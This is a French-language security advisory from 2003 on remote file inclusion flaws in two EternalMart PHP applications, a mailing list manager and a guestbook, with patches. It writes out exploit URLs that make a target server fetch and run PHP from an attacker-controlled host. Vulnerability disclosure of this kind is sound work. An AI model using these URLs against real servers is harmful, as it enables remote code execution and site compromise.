EternalMart °°°°°°°°°°° Informations : °°°°°°°°°°°°°° Langage : PHP ------------------------------------------------- Produit : EMML (EternalMart Mailing List Manager) Version : 1.32 ------------------------------------------------- Produit : EMGB (EternalMart Guestbook) Version : 1.1 ------------------------------------------------- Website : http://www.eternalmart.com Problème : Inclusions de fichiers Developpement : °°°°°°°°°°°°°°° Le site EternelMart propose 3 applications PHP, dont deux sont touchées par une faille include. Dans EMML, on voit dans le fichier emml_email_func.php la ligne : -------------------------------------------------- include("$emml_path/class.html.mime.mail.php"); -------------------------------------------------- et dans /admin/auth.php la ligne : -------------------------------------------- include("$emml_admin_path/auth_func.php"); -------------------------------------------- donc pour inclure et faire exécuter un fichier http://[attacker]/auth_func.php PHP sur le serveur [target], il faudra taper l'url http://[target]/admin/auth.php?emml_admin_path=http://[attacker], et pour inclure un fichier http://[attacker]/class.html.mime.mail.php, l'url http://[target]/emml_email_func.php?emml_path=http://[attacker]. Dans EMGB, la faille est aussi dans admin/auth.php, dans lequel on voit la ligne : -------------------------------------------- include("$emgb_admin_path/auth_func.php"); -------------------------------------------- Pour inclure le fichier http://[attacker]/auth_func.php, il faudra cette fois-ci ce rendre à l'url : http://[target]/admin/auth.php?emgb_admin_path=http://[attacker]. Solution : °°°°°°°°°° Des patchs sont disponibles sur http://www.phpsecure.info. Ils consistent en 3 lignes ajoutées au début des fichiers buggés. Dans EMML, au début de emml_email_func.php : ----------------------------------- if (isset($_REQUEST["emml_path"])){ die("Don\'t do it :)"); } ----------------------------------- et au début de /admin/auth.php : ----------------------------------------- if (isset($_REQUEST["emml_admin_path"])){ die("Don\'t do it :)"); } ----------------------------------------- Et dans EMGB, au début de /admin/auth.php : ----------------------------------------- if (isset($_REQUEST["emgb_admin_path"])){ die("Don\'t do it :)"); } ----------------------------------------- Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Website : http://www.phpsecure.info Date : 16/09/03